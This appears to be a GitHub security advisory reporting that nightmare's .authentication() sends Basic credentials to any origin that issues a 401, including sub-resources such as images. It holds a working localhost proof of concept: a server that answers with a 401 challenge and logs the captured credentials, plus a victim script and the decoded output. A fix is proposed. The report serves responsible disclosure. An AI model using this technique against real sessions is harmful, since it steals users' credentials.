[Security] `.authentication()` sends Basic credentials to ANY origin that responds with a 401 challenge
Summary
nightmare's documented .authentication(user, password) API registers a login
handler on the Electron webContents object that automatically answers every
HTTP 401 challenge — from the main frame or any sub-resource (<img>,
<script>, iframes, XHR, …) — with the configured credentials, without
validating the origin that issued the challenge.
As a result, any server that can get the automated session to request a single URL from it (for example, an image embedded in a page the automation visits) receives the developer's Basic credentials in cleartext (base64). The victim script never has to navigate to the attacker's origin.
Affected version / environment
- nightmare 3.0.2 (latest release) — the vulnerable code is unchanged on master
- Electron 2.0.18 (Chromium 61)
- Tested on Windows 11 Enterprise (10.0.26200), Node.js v24.14.1
- PoC runs entirely against
127.0.0.1; no external systems involved
Root cause
lib/runner.js, lines 658–683:
loginListener = function(webContents, request, authInfo, callback) {
tries++
parent.emit('log', `authenticating against ${request.url}, try #${tries}`)
if (currentUrl != request.url) {
currentUrl = request.url
tries = 1
}
if (tries >= options.maxAuthRetries) {
parent.emit('die', 'problem authenticating, check your credentials')
} else {
callback(login, password) // ← credentials handed to whoever challenged
}
}
win.webContents.on('login', loginListener)Electron's login event fires for every 401 response the session receives,
including challenges triggered by sub-resources. The handler never compares
request.url against the URL passed to .goto() or any allow-list — the URL is
only used to reset a retry counter. Whichever origin challenges first receives
Authorization: Basic <base64(user:password)>.
Attack prerequisites
- The script uses
.authentication(user, password). This is a documented feature, and the README's own proxy section recommends it for proxy credentials (switches+.authentication('proxyUsername', 'proxyPassword')), so the leaked secret is frequently a domain/corporate account. - During the session, any loaded page references a resource on an origin the attacker controls or has compromised: a site being scraped, a third-party ad/CDN resource on an otherwise legitimate page, or an on-path attacker when content is fetched over plain HTTP. The page the script navigates to can be completely legitimate.
CORS is not a mitigation. The credential is placed in the outbound
Authorization header by the browser; the attacker never needs to read the
response. The exfiltration is fire-and-forget via a single image request.
Steps to reproduce
Attacker — two localhost servers, a "legitimate-looking" portal and an image server that answers 401:
// attacker.js
require('http').createServer((req, res) => {
res.end('<h1>intranet portal</h1><img src="http://127.0.0.1:4788/pixel.png">')
}).listen(4787)
require('http').createServer((req, res) => {
if (!req.headers.authorization) {
res.writeHead(401, { 'WWW-Authenticate': 'Basic realm="intranet"' })
return res.end()
}
console.log('GOT AUTH:', req.url, req.headers.authorization)
res.writeHead(404)
res.end()
}).listen(4788)Victim — an ordinary automation script that never visits :4788:
const Nightmare = require('nightmare')
Nightmare({ show: true })
.authentication('corp-alice', 'Sup3rS3cret!') // credentials for the intranet
.goto('http://127.0.0.1:4787/') // never navigates to :4788
.wait(1000)
.end()
.then()Observed output (attacker console)
GOT AUTH: /pixel.png Basic Y29ycC1hbGljZTpTdXAzclMzY3JldCE=
DECODED : corp-alice:Sup3rS3cret!(Y29ycC1hbGljZTpTdXAzclMzY3JldCE= is base64 of corp-alice:Sup3rS3cret! —
the exact credentials passed to .authentication().)
Impact
Silent, one-request disclosure of the configured Basic credentials to an arbitrary origin. Basic-auth credentials are commonly reused (domain accounts, proxy accounts). The victim side shows nothing unusual: the automation simply loads a page. Severity: High.
Suggested fix
In the login listener, only answer challenges whose origin matches the origin
the developer is authenticating for (the .goto() target at the time
.authentication() is set, or the current main-frame origin). For any other
origin, call callback() without credentials so the challenge fails, or skip
the listener entirely. At minimum, document that .authentication() credentials
are currently submitted to every 401-challenging origin, including
sub-resources.
CVE request
I would like to request a CVE identifier for this vulnerability. I'm happy to coordinate on the advisory, the disclosure timeline, and credit — and to keep the full write-up private until then if you prefer. If I don't hear back within 90 days (or if this repository remains unresponsive), I intend to request a CVE ID through GitHub's CNA / MITRE's CNA-of-last-resort process and publish the details. Please let me know your preference.
Source: segment-boneyard/nightmare